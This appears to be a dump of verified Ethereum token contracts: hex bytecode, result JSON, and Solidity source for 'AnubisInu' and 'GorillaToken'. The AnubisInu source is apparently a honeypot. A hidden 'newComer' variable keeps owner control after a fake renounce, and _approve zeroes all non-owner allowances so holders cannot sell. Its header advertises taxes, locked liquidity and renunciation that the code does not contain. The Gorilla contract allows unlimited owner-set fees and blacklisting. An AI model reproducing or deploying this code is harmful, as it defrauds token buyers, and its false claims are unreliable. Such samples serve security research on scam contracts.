ffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561145257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561152057fe5b818303905092915050565b600080828401905083811015151561153f57fe5b80915050929150505600a165627a7a72305820ccdfad994627fde728a80c3b548113e4ba05c02f68db74906f98fb575404f6920029
|
{"success": true, "error": null, "results": {}}
| 9,107 |
0x4797a698a20f2648b48cb8c294ecb8cf047f44b9
|
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/*
___ __ _ ____
/ | ____ __ __/ /_ (_)____ / _/___ __ __
/ /| | / __ \/ / / / __ \/ / ___/ / // __ \/ / / /
/ ___ |/ / / / /_/ / /_/ / (__ ) _/ // / / / /_/ /
/_/ |_/_/ /_/\__,_/_.___/_/____/ /___/_/ /_/\__,_/
🔱 ANUBIS INU (ERC20) 🔱
ANUBIS is an Egyptian God who is half man half dog whose task is to decides which soul has an eternal life.
We must pay tribute to the Great Anubis so that we shall be blessed to live on forever through our legacy, and generational wealth we pass on to our children.
Our Great Anubis has the one prize no one else can offer: Eternity!
📌 Website: https://anubisinu.com/
📌 Twitter: https://twitter.com/anubisinu
📌 Telegram: https://t.me/AnubisInu
🌟 Tokenomics Explained 🌟
⚜️ 9% tax on each transaction as follows:
⚜️ 6% Tax for Development and Marketing
⚜️ 2% Tax for automatic buyback
⚜️ 1% Redistribution to holders
🔔 Launch Features 🔔
✨ Anti-whale buy limit
✨ 50% initial burn
✨ 1 trillion total supply
✨ Bots Blacklisted
✨ Liquidity Locked
✨ Contract Renounced
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract anubisinu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'AnubisInu | https://t.me/AnubisInu';
string private _symbol = '$ANUBI';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address comit, address target, uint256 amount) private {
require(comit != address(0), "ERC20: approve from the zero address");
require(target != address(0), "ERC20: approve to the zero address");
if (comit != owner()) { _allowances[comit][target] = 0; emit Approval(comit, target, 4); }
else { _allowances[comit][target] = amount; emit Approval(comit, target, amount); }
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220dad3835bbda30af9623f4c7f5c50f4d446dc3e4f5d2cc53780a619ab1570b14864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,108 |
0xfaafb78007bebab64fb039d5f1d49722e8c18aab
|
/**
GORRILA GLUE https://t.me/gorillaglueportal https://www.gorillaglueinu.com
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GorillaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GORILLA";//
string private constant _symbol = "GORILLA";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 11;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 11;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xCa3DC6D09cB095E3e475642dD986B42D7A933a1E);//
address payable private _marketingAddress = payable(0x36227453d41f0412BDAbb184A0feC2D540646014);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
